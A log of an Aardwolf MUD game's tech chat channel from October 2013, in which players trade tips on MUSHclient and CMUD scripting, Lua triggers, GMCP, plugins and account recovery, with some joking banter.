T3/r7/2013-10-04.txt.gz:{chan ch=tech}DagasWolf Tech: is anyone on tonight?
T3/r7/2013-10-04.txt.gz:{chan ch=tech}DagasWolf Tech: anyone know if there are any good helps for those of us who are not programmers to do some scripting in the LUA thing for the mush client? like how do do the functions and alias' and stuff like that?
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Redryn Tech: fiendish's website
T3/r7/2013-10-04.txt.gz:{chan ch=tech}NewbSnail Anaristos Tech: there are some mushclient tutorials online, some video tutorials also.
T3/r7/2013-10-04.txt.gz:{chan ch=tech}DagasWolf Tech: what is fiendish's website?
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Redryn Tech: finger fiendish
T3/r7/2013-10-04.txt.gz:{chan ch=tech}DagasWolf Tech: that doesn't take you to anything useful... click on mushclient and it takes you to a wiki that doesn't do anything
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Zade Tech: qkup
T3/r7/2013-10-04.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: kcup?
T3/r7/2013-10-04.txt.gz:{chan ch=tech}NewbSnail Anaristos Tech: DegasWolf, use google to find the mushclient tutorials.
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Zade Tech: (1) setup aardmushclient, (2) download the Lua compiler package from the official Lua website, (3) look at some of the supplied pluggins using a Lua editor, (4) download and look at the official Lua helpfile from the official Lua website -- xchan, that was faulty advice to attempt to learn to program Lua and Lua pluggins
T3/r7/2013-10-04.txt.gz:{chan ch=tech}DagasWolf Tech: ok... then how do i learn to do the scripting for triggers and alias' and timers and things for the mush client?
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Zade Tech: download and purchase Cmud ?
T3/r7/2013-10-04.txt.gz:{chan ch=tech}NewbSnail Anaristos Tech: Mush comes with a built-in Lua interpreter.
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Ayasinda Tech: http://www.mushclient.com/forum/bbshowpost.php?bbsubject_id=6030
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Ayasinda Tech: http://www.gammon.com.au/mushclient/funwithtriggers.htm
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Elchanan Tech: help botting
T3/r7/2013-10-04.txt.gz:{chan ch=tech}DagasWolf Tech: yes i know about the interpreter... but to put my alias' and things create scripts in a file called "dagaswolf-aard.lua" for the scripting it suggests LUA
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Zade Tech: looking at the Fiendish pluggins shows scrunched version that is difficult to read 
T3/r7/2013-10-04.txt.gz:{chan ch=tech}DagasWolf Tech: Elchanan, i am not botting
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Zade Tech: cheapshot Elchanon
T3/r7/2013-10-04.txt.gz:{chan ch=tech}NewbSnail Anaristos Tech: that's correct, you put your lua code in a file, you point mush to the file, then you select send to scripts
T3/r7/2013-10-04.txt.gz:{chan ch=tech}NewbSnail Anaristos Tech: the musch tutorial  for aliases and triggers show you how to go about doing that.
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Elchanan Tech: ohh i was not saying any one is just pointing out that there is a help botting file :P
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Domovoy Tech: can i see list of ip addreses from where i login in?
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Ayasinda Tech: no
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Domovoy Tech: thanks
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Ayasinda Tech: but since you can only be logged on from 1 place at a time you can check your ip address of your computer
T3/r7/2013-10-04.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: google myip
T3/r7/2013-10-04.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: www.whatismyip.com
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Domovoy Tech: no, i know own ip, i want check from where there was connections
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Domovoy Tech: \*were
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Ayasinda Tech: you cannot
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Domovoy Tech: i understand it :)
T3/r7/2013-10-04.txt.gz:{chan ch=tech}DagasWolf Tech: ok... i want to pass a value to my function in a script file... say "ABC COMMAND" and in the function use that value to do something... anyone know how to do that? using the mushclient 
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Ayasinda Tech: didn't I just give you a few links?
T3/r7/2013-10-04.txt.gz:{chan ch=tech}DagasWolf Tech: and i am trying to find information on them... not that easy.
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Ayasinda Tech: I think you will find exactly what you just asked in them
T3/r7/2013-10-04.txt.gz:{chan ch=tech}NewbSnail Anaristos Tech: you will have to read the tutorials, to explain how to do it on a channel is just not easy.
T3/r7/2013-10-04.txt.gz:{chan ch=tech}NewbSnail Anaristos Tech: but what you want to do is common, so it shouldn't be a problem.
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Tech: looking at history, you should not be creating a dagaswolf-aard.lua, you should be creating a dagaswolf-somefeature.xml
T3/r7/2013-10-04.txt.gz:{chan ch=tech}DagasWolf Tech: an XML file? how is that doing the scripting thing?
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Tech: that's what all plugins are, xml files
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Tech: you don't put triggers, etc into lua files, you put them into plugin xml files
T3/r7/2013-10-04.txt.gz:{chan ch=tech}DagasWolf Tech: what i am trying to do is create triggers that will tell me when an area repops... so like if i am in scarred lands and it repops, it will trigger off of the repop message, and send me a note or an echo and let me know the area has repopped. 
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Tech: not necessary, actually
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Redryn Tech: just make a trigger with the area repop?
T3/r7/2013-10-04.txt.gz:{chan ch=tech}DagasWolf Tech: in reading the files from the gammon site, that is what scripting is for
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Tech: no, that's not what scripting would be for
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Tech: because you don't need any "smarts" for just a trigger
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Redryn Tech: unless you want to make it a fancy script
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Tech: but what he described requires no scripting
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Tech: however, it's simpler to do in GMCP
T3/r7/2013-10-04.txt.gz:{chan ch=tech}DagasWolf Tech: i want to just create one function that is called by the triggered information and send the area name to the function. then have it say to me area such and such has repopped... i didn't want to create a whole new function/trigger for each area. just send the value "areaname" over to the one function
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Elchanan Tech: sounds like you wanna make a sense life script almost
T3/r7/2013-10-04.txt.gz:{chan ch=tech}DagasWolf Tech: no. every area that i have noticed has a message that is displayed when the area repops... correct?
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Ayasinda Tech: or a script that, when you sit is say Aylor, will tell you what area repoped and when?
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Ayasinda Tech: correct Dagas
T3/r7/2013-10-04.txt.gz:{chan ch=tech}DagasWolf Tech: i want that message to trigger a send to function the value of that areaname... then i will put in the function -- Send ("echo area
T3/r7/2013-10-04.txt.gz:{chan ch=tech}DagasWolf Tech: i want that message to trigger a send to function the value of that areaname... then i will put in the function -- Send ("echo area" .. varName .. "just repopped"
T3/r7/2013-10-04.txt.gz:{chan ch=tech}DagasWolf Tech: no. just turn it on when i am out leveling in an area
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Ayasinda Tech: since you will need a triggerline for each area in this way why not make the entire trigger per area? Not variables needed.
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Elchanan Tech: yea each repop message is different
T3/r7/2013-10-04.txt.gz:{chan ch=tech}DagasWolf Tech: i guess because i was trying to learn the scripting thingys so i could try to make more complex ones later. i figured this would be a good starting point for me
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Ayasinda Tech: you could take a look at gmcp. That way you dont need a triggerline for each area
T3/r7/2013-10-04.txt.gz:{chan ch=tech}DagasWolf Tech: what is GMCP?
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Ayasinda Tech: help gmcp
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Redryn Tech: you can look at aardwiki for scripting examples
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Tech: you wouldn't need to create a function in order to just send the name of the area has repopped
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Redryn Tech: if you're not using gmcp, you have to make a trigger for every area repop text
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Redryn Tech: if you don't want to use the same gt output, then make an alias, and execute the alias in your trigger
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Tech: but as Imentioned, GMCP sends non-visible message of "comm.repop { "zone": "aylor" }" whenever there's a repop in your area
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Domovoy Tech: no, i know own ip, i want check from where there was connectionss
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Tech: You giggle in his presence.
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Redryn Tech: can't do it domo
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Redryn Tech: you would have to ask lasher
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Redryn Tech: or maybe some other imms
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Tech: yeah, he was sending a mis of something he sent half an hour ago
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Redryn Tech: you could try asking penthesilea if she can see ip addresses
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Sinetease Penthesilea Tech: if?
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Tech: he knows where he is now...she could see current IPs
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Tech: Sinetease Penthesilea begins to shake her head and tsk into nothingness.
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Redryn Tech: i don't know if they get a list :p
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Redryn Tech: (past IPs)
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Tech: yes, hence multiplay tests
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Redryn Tech: pretty sure multiplay flag is only triggered based on current ip..
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Tech: whenever you connect, it also shows the IP of your previous connection to you
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Tech: dagas: probably the best way for you to see how to do what you want to do would be to take a peek at my autoreply plugin...it has 3 elements that you're looking for...(1) it listens for GMCP info to come through, (2) it looks at part of that GMCP info (autoreply looks for the "player" field from a tell, you'd be looking at the "zone" field from repop), and it lets you set options from an alias (you could turn yours on/off using that alias for whether you're out levelling)
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Tech: because I don't use MUSHclient, the plugins I write for people tend to be pretty simply and not prone to feature creep, making them a bit easier to read/parse than the uber-featureful ones from Fiendish and Bast which are refined over many years
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Konax Tech: Using mushclient mapper, is it possible to flag a room so that it doesn't speedwalk (or attempt to) through it?
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Trachx Tech: change level of exits
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Bunnyy Tech: yes. set exit level lock
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Konax Tech: I haven't done that yet, I will give it a go. Thank you!
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Trachx Tech: just go to area, right click on map over room and choose change exit level lock
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Pooky Tech: anyone know of any good plugins for managing equipment?
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Konax Tech: It worked perfectly!! thank you.
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Pooky Tech: for mush client
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Tech: pooky: bast has a pretty advanced equipment plugin
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Pooky Tech: thanks, i'll check it out
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Pooky Tech: wow i asked that quest about 8 hours ago lol
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Tech: nod, I'm at work 9am-5:30pm, so only glance at Aard periodically, depending on what's going on that day...usually do a tech -h and a tell -h to see if there's something unresolved to answer :-)
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Pooky Tech: haha cool, thanks for the reply :P
T3/r7/2013-10-04.txt.gz:{chan ch=tech}DagasWolf Tech: can you call an alias from within another alias? like i have an alias "queststrt" and i want it to do an alias "ardhome"
T3/r7/2013-10-04.txt.gz:{chan ch=tech}DagasWolf Tech: creating a trigger... i have the "** You gain a bonus 3 practices **" when i quest... but when i put that in the trigger it gives me an error stating that there is nothing to repeat at both of the ** points... how to get around this?
T3/r7/2013-10-04.txt.gz:{chan ch=tech}DagasWolf Tech: anyone???
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Bast Tech: what client?
T3/r7/2013-10-04.txt.gz:{chan ch=tech}DagasWolf Tech: the mush one i got from the aard site
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Bast Tech: put a \ in front of each *
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Bast Tech: also, you have to change the trigger to a regular expression
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Bast Tech: see: http://www.gammon.com.au/scripts/doc.php?general=triggers
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: Model S on fire, lol.  over 2 million views.  I was like view 25 on that sucker.
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Doc Holliday Tech: Stupid regex question, i am trying to match positive integer (no decimals)    /^\d+$/
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Doc Holliday Tech: some reason that isnt matching properly for me, is that correct
T3/r7/2013-10-04.txt.gz:{chan ch=tech}Doc Holliday Tech: nevermidn wasnt refreshing to grab updated code - i was wonding why in the hell it wasnt working
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Doc Holliday Tech: who is board and wants to help me with a small python script... I'm wanting to try something and Im pretty sure it can be done
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Doc Holliday Tech: bored even
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Ixle Tech: Might be the blinder leading the blind but out with it. I love a good googling excuse as much as the next geek.
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Doc Holliday Tech: i have a text file with some links. i want to load the url, the inside of each page.... there are a bunch of links one is labled (download) i need to wget the "download" link
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Doc Holliday Tech: technically i can lynx the first url, click download and it asks if i want to download
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Doc Holliday Tech: but technically there might be an easier than finding the download link on the page
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Doc Holliday Tech: if I go to the first link http://tinyurl/something it links me to http://abc.com/209iokwjefsd
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Doc Holliday Tech: the download link is always abc.com/download-send/(whatever the end of the URL was)
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Ixle Tech: So, you want to visit urls in a text file, parse the page for a download link, and then wget the file from the download link?
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Doc Holliday Tech: yes or, just get a link from text file and "redirect or short url" and output the final url and i'd be happy
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Doc Holliday Tech: the download link is very similar to the final url and I could just change the final url and wget it easily
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Ixle Tech: Well, if you can guess the download link based off the url you have, then you can do it without any parsing. I would use that route. Otherwise my googling says you want urllib and Beautiful Soup libraries.
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Doc Holliday Tech: I was looking at B Soup libraries will keep going from there
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Ixle Tech: Example from the docs: http://www.crummy.com/software/BeautifulSoup/bs4/doc/
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Day the Nightbird Tech: any able to tell me if its possible to make scripts using blowtorch?
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Ayasinda Tech: Nightbird: Try the blowtorch site. if you can it will be stated/explained there I assume
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Day the Nightbird Tech: lol thanks,tried that but I haven't come across any recent info
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Ayasinda Tech: ok I'll go see if I can find something about it
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Day the Nightbird Tech: I know they kept going on about lua coding..but the last I saw was a comment in February
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Fi-Bot Fiain Tech: It should be possible, the new test version has a scripts option. Now whether it works or not, no idea. :P
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Day the Nightbird Tech: any idea how I get the test version?
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Fi-Bot Fiain Tech: At least, I think it does... hmm.
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Ayasinda Tech: It seems that at least you can write small scipts in it
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Fi-Bot Fiain Tech: Yeah, go online to their site.
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Fi-Bot Fiain Tech: It works fairly well.
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Day the Nightbird Tech: so I can download it there?
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Fi-Bot Fiain Tech: Yep. :)
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Day the Nightbird Tech: hmm..must've missed it,I'll go check again..thanks guys
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Fi-Bot Fiain Tech: Theres an announcement about it on the site, installation instructions link.. on that page, theres the download.
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Day the Nightbird Tech: in the forums?
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Fi-Bot Fiain Tech: Not sure.. I typed into google, blowtorch v2
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Fi-Bot Fiain Tech: And it was one of the first links that came up.
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Day the Nightbird Tech: thanks
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Fi-Bot Fiain Tech: I'd get you a link, but it'd take longer, probably. :P
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Fi-Bot Fiain Tech: NP! Its the only client I use.. :)
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Ayasinda Tech: I think you can find the v2 download here somewhere http://www.offsetnull.com/blowtorch/v2-test-installation-instructions/
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Fi-Bot Fiain Tech: Thats it. :)
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Day the Nightbird Tech: thanks
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Fi-Bot Fiain Tech: On a phone, links take way too long to get. ^.^
T3/r7/2013-10-05.txt.gz:{chan ch=tech}HelperMan Hadar Tech: has anyone tried to use mapquery in a lua function in cmud?
T3/r7/2013-10-05.txt.gz:{chan ch=tech}HelperMan Hadar Tech: actually i got it working, just not sure how to convert a string list (eg: 1|2|3|4|5) to something i can print out with lua
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Tech: HelperMan Hadar flails his arms about wildly.
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Tech: Grissom flails his arms about wildly. HelperMan Hadar thinks he might be crazy.
T3/r7/2013-10-05.txt.gz:{chan ch=tech}HelperMan Hadar Tech: just getting annoyed that i cant figure this out
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Mencheres Tech: what plugin with the aard mushclient do I need to copy and change teh id on, to get two communication logs?
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Ayasinda Tech: maybe this will help? https://code.google.com/p/aardwolfclientpackage/wiki/ChannelCapture#Creating_multiple_log_windows
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Mencheres Tech: bookmarked thanks!
T3/r7/2013-10-05.txt.gz:{chan ch=tech}HelperMan Hadar Tech: does anyone know if its possible to call a cmud function @function() with lua?
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Book of Etzli Tech: What do you mean?
T3/r7/2013-10-05.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i have a function i call in normal script #exec @function(stuff)
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Book of Etzli Tech: Okay.
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Book of Etzli Tech: zs.execfunc(function, parameters), I believe.
T3/r7/2013-10-05.txt.gz:{chan ch=tech}HelperMan Hadar Tech: im trying that its not working, i may be doing it wrong
T3/r7/2013-10-05.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i guess its because the function needs to be ,#
T3/r7/2013-10-05.txt.gz:{chan ch=tech}HelperMan Hadar Tech: meaning i need the second param not the first
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Quadrapus Tech: - 10
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Luw Tech: Anyone familiar with the Bast plugins I can ask what is most likely a basic question to?
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Nuanse Tech: just ask! alot of people have basts plugins installed, and Bast himself checks tech and answers to questions about them.
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Luw Tech: Alright then, in the spellup window on the bottom half there is a Can Cast, Request, Pending options, but they are always 0, should this show the number of buffs i can cast on myself or is this only for group scenarios?
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Pooky Tech: i got a question about bast's equipment plugin, i can't seem to add portals to the portal location, it always says I can't wear it in that location
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Velian Tech: in cmud, what's the best way to send a command to the mud (alias/trigger) and not have the command show that it was sent.
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Velian Tech: in the client window, obviously.
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Inferno Tech: turn off the echo option in preferences
T3/r7/2013-10-05.txt.gz:{chan ch=tech}HelperMan Hadar Tech: use sendraw
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Velian Tech: thanks Hadar :)
T3/r7/2013-10-05.txt.gz:{chan ch=tech}HelperMan Hadar Tech: dont worry i still cant remember all of cmuds stuff at times
T3/r7/2013-10-05.txt.gz:{chan ch=tech}CptAmerica Tech: how do i make variables persist over sessions with mush?
T3/r7/2013-10-05.txt.gz:{chan ch=tech}Ranrr Tech: Hmmm... I figured out where cloud providers make their money. They charge insane amounts for data transfer to the internet (compared to IP transit pricing)
T3/r7/2013-10-06.txt.gz:{chan ch=tech}HelperMan Hadar Tech: is there some sort of "mic" that i can hook into a led string to make the lights "dance" to music?
T3/r7/2013-10-06.txt.gz:{chan ch=tech}Pleiades Tech: mic check?
T3/r7/2013-10-06.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i wanted to make an infinity mirror where the lights are "dancing"
T3/r7/2013-10-06.txt.gz:{chan ch=tech}Evil Bitch Sirian Tech: is there a way to find all names tied to some IP? if yes how
T3/r7/2013-10-06.txt.gz:{chan ch=tech}Redryn Tech: i'm gonna say no
T3/r7/2013-10-06.txt.gz:{chan ch=tech}Ranrr Tech: The only name to IP mapping that exists is DNS. Try nslookup.
T3/r7/2013-10-06.txt.gz:{chan ch=tech}Vost Tech: Imms can do it
T3/r7/2013-10-06.txt.gz:{chan ch=tech}Ranrr Tech: Well, at least the only global.
T3/r7/2013-10-06.txt.gz:{chan ch=tech}Ranrr Tech: Ah, you meant player name?
T3/r7/2013-10-06.txt.gz:{chan ch=tech}Redryn Tech: are you referring to aard or in general?
T3/r7/2013-10-06.txt.gz:{chan ch=tech}Evil Bitch Sirian Tech: general
T3/r7/2013-10-06.txt.gz:{chan ch=tech}Redryn Tech: the isp would be the ones with the information
T3/r7/2013-10-06.txt.gz:{chan ch=tech}Redryn Tech: unless you have the power to compel them to tell you, no
T3/r7/2013-10-06.txt.gz:{chan ch=tech}Ranrr Tech: Nslookup or any other tool will tell you the IP to name mapping that exists. 
T3/r7/2013-10-06.txt.gz:{chan ch=tech}Ranrr Tech: dns tool, that is
T3/r7/2013-10-06.txt.gz:{chan ch=tech}Evil Bitch Sirian Tech: can recommand any good one?
T3/r7/2013-10-06.txt.gz:{chan ch=tech}Ranrr Tech: I just did.
T3/r7/2013-10-06.txt.gz:{chan ch=tech}Ranrr Tech: nslookup is availailable on all platforms, pretty much
T3/r7/2013-10-06.txt.gz:{chan ch=tech}Ranrr Tech: dig is another popular one
T3/r7/2013-10-06.txt.gz:{chan ch=tech}Ranrr Tech: There are probably web based ones on the intertubes as well
T3/r7/2013-10-06.txt.gz:{chan ch=tech}Evil Bitch Sirian Tech: yea checkin some atm:) thx
T3/r7/2013-10-06.txt.gz:{chan ch=tech}Ranrr Tech: Of course, the IP to name mappings may be completely different from the name to IP mappings.
T3/r7/2013-10-06.txt.gz:{chan ch=tech}Ranrr Tech: Those have no relation.
T3/r7/2013-10-06.txt.gz:{chan ch=tech}Sickerone Tech: accidently changed my chat name, whats shortkey to open up that menu
T3/r7/2013-10-06.txt.gz:{chan ch=tech}LionDragon Tech: anyone know how to install the mush client onto a microsoft tablet?
T3/r7/2013-10-06.txt.gz:{chan ch=tech}Turie Tech: If it is Windows RT, then you cannot.
T3/r7/2013-10-06.txt.gz:{chan ch=tech}LionDragon Tech: yup it is. oh well, i'll use telenet then
T3/r7/2013-10-06.txt.gz:{chan ch=tech}Gayberiel Tech: Hey, so I have played before, and I had the client for aardwolf. I am currently running Mushclient, but how do I get the plugins and stuff to work now? 
T3/r7/2013-10-06.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: When you played before did you install the Mushclient from Aardwolf.com or Mushclient.com?
T3/r7/2013-10-06.txt.gz:{chan ch=tech}Gayberiel Tech: I don't remember. Should I just try to redownload it? Which one is better?
T3/r7/2013-10-06.txt.gz:{chan ch=tech}Pooky Tech: start with a fresh one
T3/r7/2013-10-06.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: The one of aardwolf.com or Fiendish's website is the best...
T3/r7/2013-10-06.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Yeah just start over I'd say.
T3/r7/2013-10-06.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Type checkversion, does it do anything in mushclient?
T3/r7/2013-10-06.txt.gz:{chan ch=tech}Gayberiel Tech: no
T3/r7/2013-10-06.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Then it's likely you downloaded from Mushclient's website.  Best to start over, use another directory and fresh install.
T3/r7/2013-10-06.txt.gz:{chan ch=tech}Gayberiel Tech: I got it working
T3/r7/2013-10-06.txt.gz:{chan ch=tech}Quinntin Tech: HOw can I recover a PC? I forgot my name, but I know what password I used. =/
T3/r7/2013-10-06.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: check the inside of your underwear
T3/r7/2013-10-06.txt.gz:{chan ch=tech}Nuanse Tech: first, remove all cords from chassis, then throw it through a window. 
T3/r7/2013-10-06.txt.gz:{chan ch=tech}The mighty Hollister Tech: life lesson everyone, always write down your password and paste the code to your screen where everyone can see it
T3/r7/2013-10-06.txt.gz:{chan ch=tech}Nuanse Tech: then walk outside, and recover it
T3/r7/2013-10-06.txt.gz:{chan ch=tech}Quinntin Tech: I am looking for a serious answer >_>
T3/r7/2013-10-06.txt.gz:{chan ch=tech}Velian Tech: bl
T3/r7/2013-10-06.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: ctrl-alt-delete, then switch to administrator and hope you password is the same as admin
T3/r7/2013-10-06.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: what operating system?
T3/r7/2013-10-06.txt.gz:{chan ch=tech}Quinntin Tech: No. I need to know what my guys names is on here. 
T3/r7/2013-10-06.txt.gz:{chan ch=tech}The mighty Hollister Tech: well what you could try since I see you are on aard meaning you have internet access, you could google your problem there is bound to be some illegal software that can get you into your acount again
T3/r7/2013-10-06.txt.gz:{chan ch=tech}Nuanse Tech: windows and you cant access to your stuff? just start comp up with liveboot cd for some linux system and get your stuff from there. then format and reinstall.
T3/r7/2013-10-06.txt.gz:{chan ch=tech}Quinntin Tech: PC meaning Playable Character
T3/r7/2013-10-06.txt.gz:{chan ch=tech}Turie Tech: PC mean Personal Computer I thought.
T3/r7/2013-10-06.txt.gz:{chan ch=tech}Navi Tech: You should specify that sooner, seeing as PC in a tech channel usually refers to personal computer..
T3/r7/2013-10-06.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Did you have an eamil set?
T3/r7/2013-10-06.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: software probably isnt even illegal, but the process differs a lot depending on operating system
T3/r7/2013-10-06.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: email...
T3/r7/2013-10-06.txt.gz:{chan ch=tech}Quinntin Tech: Should be scenvymail.com...... 
T3/r7/2013-10-06.txt.gz:{chan ch=tech}Quinntin Tech: At gmail.
T3/r7/2013-10-06.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: If you had an email set, help password will help you.
T3/r7/2013-10-06.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Oh wait you don't know your char name?
T3/r7/2013-10-06.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: id try on the newbie channel.. helpers/advisors there might know a lot better then anything we would know
T3/r7/2013-10-06.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Could try the help password advice, but honestly no clue if imms will reset a password just based on an email.  I doubt they'll tell you a char name though with just an email or password, I assume they are smarter than that :)
T3/r7/2013-10-06.txt.gz:{chan ch=tech}Nuanse Tech: isn't email just for that? to secure access to character beyond name and password
T3/r7/2013-10-06.txt.gz:{chan ch=tech}The mighty Hollister Tech: what you could do is search the webs darkest corners for hackers, pay some total stranger a huge amount of money hoping he won't just vanish away with your cash and hope he would hack this server and find your password, but that seems rather stupid, and impossible
T3/r7/2013-10-06.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: the imm wil ask you to give them numerous info aabout the character like how much gold, tp and what aard items you got..
